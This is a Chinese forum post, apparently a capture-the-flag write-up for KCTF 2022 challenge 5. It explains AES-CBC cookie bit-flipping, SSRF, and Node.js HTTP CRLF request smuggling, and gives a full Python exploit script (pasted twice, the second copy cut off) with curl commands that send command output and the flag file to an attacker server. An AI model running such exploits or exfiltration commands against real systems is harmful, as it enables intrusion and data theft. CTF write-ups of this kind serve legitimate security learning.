首页
社区
课程
招聘
[原创] 看雪 2022 KCTF 秋季赛 第五题 灾荒蔓延
发表于: 2022-11-25 18:34 8781

[原创] 看雪 2022 KCTF 秋季赛 第五题 灾荒蔓延

2022-11-25 18:34
8781

感叹一下:

访问题目,收到一个 cookie,长 64 的 hex 串。
访问 /admin 提示 you are not admin。稍微修改 cookie 的前部,得到 JsonParse error。更改 cookie 结尾,得到 Decrypt error。显然是一个 AES-CBC 而且还可以 padding oracle。
不难解出 cookie 明文 {"admin":"0"},其实不解也无所谓,逐个字节反转,可以发现页面突然提示 welcome admin, post cmd to /C00mmmmanD。

get /C00mmmmanD,提示又不是 admin 了。考虑到 /search 提供 ssrf,估计是需要从 127.0.0.1 访问。然后做一套 node http crlf。数据带外

图片描述

flag{ohhh_Kctf_doyoulike_nodejs}

 
import requests
url = 'http://150.158.18.137:5329/'
r = requests.get(url)
token = r.cookies['isadmin']
token = bytearray.fromhex(token)
token[10] ^= 1
token = token.hex()
print(token)
 
cmd = 'curl vpsip -d "$(ls -al)"'
cmd = 'curl vpsip -F a=@flag'
 
payload = f'''admin HTTP/1.1
Cookie: isadmin={token}
 
POST /C00mmmmanD HTTP/1.1
Cookie: isadmin={token}
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(cmd)+4}
 
cmd={cmd}
GET /'''
 
final_payload = 'http://localhost:5329/'
for c in payload:
    if c.isalnum():
        final_payload += c
    else:
        final_payload += chr(0x100 + ord(c))
 
r = requests.get(url + 'search', params={'url': final_payload})
print(r.text)
import requests
url = 'http://150.158.18.137:5329/'
r = requests.get(url)
token = r.cookies['isadmin']
token = bytearray.fromhex(token)
token[10] ^= 1
token = token.hex()
print(token)
 
cmd = 'curl vpsip -d "$(ls -al)"'
cmd = 'curl vpsip -F a=@flag'
 
payload = f'''admin HTTP/1.1
Cookie: isadmin={token}
 
POST /C00mmmmanD HTTP/1.1
Cookie: isadmin={token}
Content-Type: application/x-www-form-urlencoded

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//